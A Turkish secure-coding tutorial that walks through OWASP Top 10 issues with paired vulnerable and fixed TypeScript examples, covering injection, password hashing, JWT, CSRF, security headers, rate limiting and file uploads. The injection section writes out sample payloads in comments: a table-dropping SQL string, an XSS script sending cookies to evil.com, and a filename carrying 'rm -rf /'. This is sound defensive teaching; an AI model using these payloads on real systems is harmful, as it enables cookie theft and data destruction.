OWASP Top 10, web uygulamalarının en kritik güvenlik açıklarını listeleyen bir referanstır. Her geliştirici bu açıkları tanımalı ve kodunda nasıl önleyeceğini bilmelidir. Bu makalede her açığı gerçek kod örnekleriyle açıklıyor ve savunma tekniklerini gösteriyoruz.
1. Injection (SQL, XSS, Command)
En yaygın ve en tehlikeli açık türüdür. Kullanıcı girdisi doğrudan yorumlayıcıya gönderilir.
// TYPESCRIPT //
// SQL INJECTION — KÖTÜ
async function kullaniciBul(email: string) {
// email = "'; DROP TABLE kullanicilar; --"
const sorgu = `SELECT * FROM kullanicilar WHERE email = '${email}'`;
return db.query(sorgu); // Felaket!
}
// SQL INJECTION — İYİ (Parameterized query)
async function kullaniciBul(email: string) {
return db.query('SELECT * FROM kullanicilar WHERE email = $1', [email]);
// veya Prisma ORM ile (otomatik parametrize)
return prisma.kullanici.findFirst({ where: { email } });
}
// XSS — KÖTÜ (React dışında DOM manipülasyonu)
function yorumGoster(icerik: string) {
// icerik = "<script>document.cookie = fetch('evil.com/?c=' + document.cookie)</script>"
document.getElementById('yorum')!.innerHTML = icerik; // XSS!
}
// XSS — İYİ
function yorumGoster(icerik: string) {
// textContent, HTML olarak yorumlamaz
document.getElementById('yorum')!.textContent = icerik;
}
// Command Injection — KÖTÜ
import { exec } from 'child_process';
function dosyaIsle(dosyaAdi: string) {
exec(`convert ${dosyaAdi} output.png`); // dosyaAdi = "x; rm -rf /"
}
// Command Injection — İYİ
import { execFile } from 'child_process';
function dosyaIsle(dosyaAdi: string) {
// execFile argümanları ayrı geçirir — shell yorumlamaz
execFile('convert', [dosyaAdi, 'output.png']);
}2. Broken Authentication
// TYPESCRIPT //
// KÖTÜ — güvensiz şifre saklama
const sifreHash = md5(sifre); // MD5 kırılabilir
const sifreHash2 = sha256(sifre); // Rainbow table'a karşı zayıf
// İYİ — bcrypt veya Argon2
import bcrypt from 'bcrypt';
import argon2 from 'argon2';
// Bcrypt — 2025 için rounds=12 minimum
const hash = await bcrypt.hash(sifre, 12);
const eslesiyorMu = await bcrypt.compare(girilenSifre, hash);
// Argon2 — daha modern ve güvenli
const hash2 = await argon2.hash(sifre, {
type: argon2.argon2id,
memoryCost: 65536, // 64MB
timeCost: 3,
parallelism: 4,
});
// JWT — güvenli yapılandırma
import jwt from 'jsonwebtoken';
function tokenOlustur(kullanici: { id: string; rol: string }) {
return jwt.sign(
{ userId: kullanici.id, rol: kullanici.rol },
process.env.JWT_SECRET!,
{
expiresIn: '15m', // Kısa ömür — access token
algorithm: 'HS256',
issuer: 'blog-api',
audience: 'blog-client',
}
);
}
// Refresh token — veritabanında sakla (gerektiğinde iptal edilebilsin)
async function refreshTokenOlustur(kullaniciId: string) {
const token = crypto.randomBytes(64).toString('hex');
await db.refreshToken.create({
data: {
token: await bcrypt.hash(token, 10), // Hash'le sakla
kullaniciId,
sonKullanma: new Date(Date.now() + 30 * 24 * 60 * 60 * 1000), // 30 gün
},
});
return token; // Plain token'ı kullanıcıya gönder
}3. Sensitive Data Exposure
// TYPESCRIPT //
// KÖTÜ — hassas veriyi dışarı sızdırma
app.get('/api/kullanicilar/:id', async (req, res) => {
const kullanici = await db.kullanici.findUnique({ where: { id: req.params.id } });
res.json(kullanici); // sifre_hash, tc_kimlik, kart_no dahil!
});
// İYİ — sadece gerekli alanlar
app.get('/api/kullanicilar/:id', async (req, res) => {
const kullanici = await db.kullanici.findUnique({
where: { id: req.params.id },
select: { id: true, ad: true, email: true, avatar: true, olusturuldu: true },
// sifre_hash, tc_kimlik vb. ASLA select edilmez
});
res.json(kullanici);
});
// Log'larda hassas veri — KÖTÜ
console.log('Giriş:', { email, sifre }); // Şifre log'a düştü!
// İYİ
console.log('Giriş denemesi:', { email }); // Sadece e-posta
// Çevre değişkenlerini doğrula
function ortamDegiskenleriniKontrolEt() {
const zorunlu = ['DATABASE_URL', 'JWT_SECRET', 'NEXTAUTH_SECRET'];
const eksik = zorunlu.filter(k => !process.env[k]);
if (eksik.length > 0) {
throw new Error(`Eksik ortam değişkenleri: ${eksik.join(', ')}`);
}
}4. CSRF Koruması
// TYPESCRIPT //
// Next.js Server Actions — CSRF otomatik korumalı
// Express ile manuel CSRF
import csrf from 'csurf';
import cookieParser from 'cookie-parser';
app.use(cookieParser());
const csrfKoruma = csrf({ cookie: { httpOnly: true, secure: true } });
app.use(csrfKoruma);
// Her form'a token ekle
app.get('/form', (req, res) => {
res.render('form', { csrfToken: req.csrfToken() });
});
// HTML'de
// <input type="hidden" name="_csrf" value="{{ csrfToken }}">
// SameSite cookie — modern tarayıcılarda yeterli
res.cookie('session', token, {
httpOnly: true,
secure: process.env.NODE_ENV === 'production',
sameSite: 'strict', // CSRF'ye karşı güçlü koruma
maxAge: 15 * 60 * 1000,
});5. Security Headers
// TYPESCRIPT //
// next.config.ts — güvenlik başlıkları
const nextConfig = {
async headers() {
return [
{
source: '/(.*)',
headers: [
// XSS koruması
{ key: 'X-XSS-Protection', value: '1; mode=block' },
// Iframe'de gösterilmeyi engelle (clickjacking)
{ key: 'X-Frame-Options', value: 'DENY' },
// MIME sniffing'i engelle
{ key: 'X-Content-Type-Options', value: 'nosniff' },
// Referrer bilgisini sınırla
{ key: 'Referrer-Policy', value: 'strict-origin-when-cross-origin' },
// HSTS — HTTPS zorunlu kıl
{ key: 'Strict-Transport-Security', value: 'max-age=63072000; includeSubDomains; preload' },
// Content Security Policy
{
key: 'Content-Security-Policy',
value: [
"default-src 'self'",
"script-src 'self' 'nonce-{NONCE}'",
"style-src 'self' 'unsafe-inline'",
"img-src 'self' data: https:",
"connect-src 'self' https://api.blog.com",
"frame-ancestors 'none'",
].join('; '),
},
// İzin politikası
{ key: 'Permissions-Policy', value: 'camera=(), microphone=(), geolocation=()' },
],
},
];
},
};6. Rate Limiting ve Brute Force Koruması
// TYPESCRIPT //
import rateLimit from 'express-rate-limit';
import RedisStore from 'rate-limit-redis';
// Redis tabanlı rate limiting (cluster-safe)
const girisLimit = rateLimit({
windowMs: 15 * 60 * 1000, // 15 dakika
max: 5, // 5 deneme
standardHeaders: true,
legacyHeaders: false,
store: new RedisStore({
sendCommand: (...args: string[]) => redis.sendCommand(args),
}),
keyGenerator: (req) => `giris:${req.ip}:${req.body.email}`,
skipSuccessfulRequests: true,
handler: (req, res) => {
res.status(429).json({
hata: 'Çok fazla başarısız giriş denemesi. 15 dakika bekleyin.',
tekrarDenesme: Math.ceil(req.rateLimit.resetTime!.getTime() / 1000),
});
},
});
app.post('/api/auth/giris', girisLimit, girisController);
// Hesap kilitleme
async function basarisizGirisKaydet(email: string) {
await db.kullanici.update({
where: { email },
data: {
basarisizGirisSayisi: { increment: 1 },
sonBasarisizGiris: new Date(),
},
});
const kullanici = await db.kullanici.findUnique({ where: { email } });
if (kullanici && kullanici.basarisizGirisSayisi >= 5) {
await db.kullanici.update({
where: { email },
data: { kilitlendi: true, kilitlenmeZamani: new Date() },
});
// Hesap kilitleme e-postası gönder
}
}7. Güvenli Dosya Yükleme
// TYPESCRIPT //
import multer from 'multer';
import sharp from 'sharp';
import path from 'path';
// Yalnızca resim kabul et
const yukleme = multer({
storage: multer.memoryStorage(),
limits: { fileSize: 5 * 1024 * 1024 }, // 5MB
fileFilter: (_req, file, cb) => {
const izinliTipler = ['image/jpeg', 'image/png', 'image/webp'];
if (izinliTipler.includes(file.mimetype)) {
cb(null, true);
} else {
cb(new Error('Sadece JPEG, PNG ve WebP formatları kabul edilir.'));
}
},
});
app.post('/api/yukle', yukleme.single('resim'), async (req, res) => {
if (!req.file) return res.status(400).json({ hata: 'Dosya seçilmedi.' });
// Sharp ile yeniden işle — orijinal meta veriyi temizle
const islenmisBuf = await sharp(req.file.buffer)
.resize(800, 600, { fit: 'inside', withoutEnlargement: true })
.webp({ quality: 85 })
.toBuffer();
// Güvenli dosya adı — UUID kullan
const dosyaAdi = `${crypto.randomUUID()}.webp`;
await fs.writeFile(path.join(process.env.UPLOAD_DIR!, dosyaAdi), islenmisBuf);
res.json({ url: `/uploads/${dosyaAdi}` });
});Sonuç
Web güvenliği katman katman korumayla sağlanır. Parameterized query, bcrypt, güvenlik başlıkları, rate limiting ve dosya validasyonu temel savunma katmanlarıdır. OWASP Top 10'u düzenli olarak inceleyin ve her yeni özellik geliştirirken "Bu nasıl kötüye kullanılabilir?" sorusunu sorun. Güvenlik, sonradan eklenebilecek bir özellik değil; tasarımın kendisidir.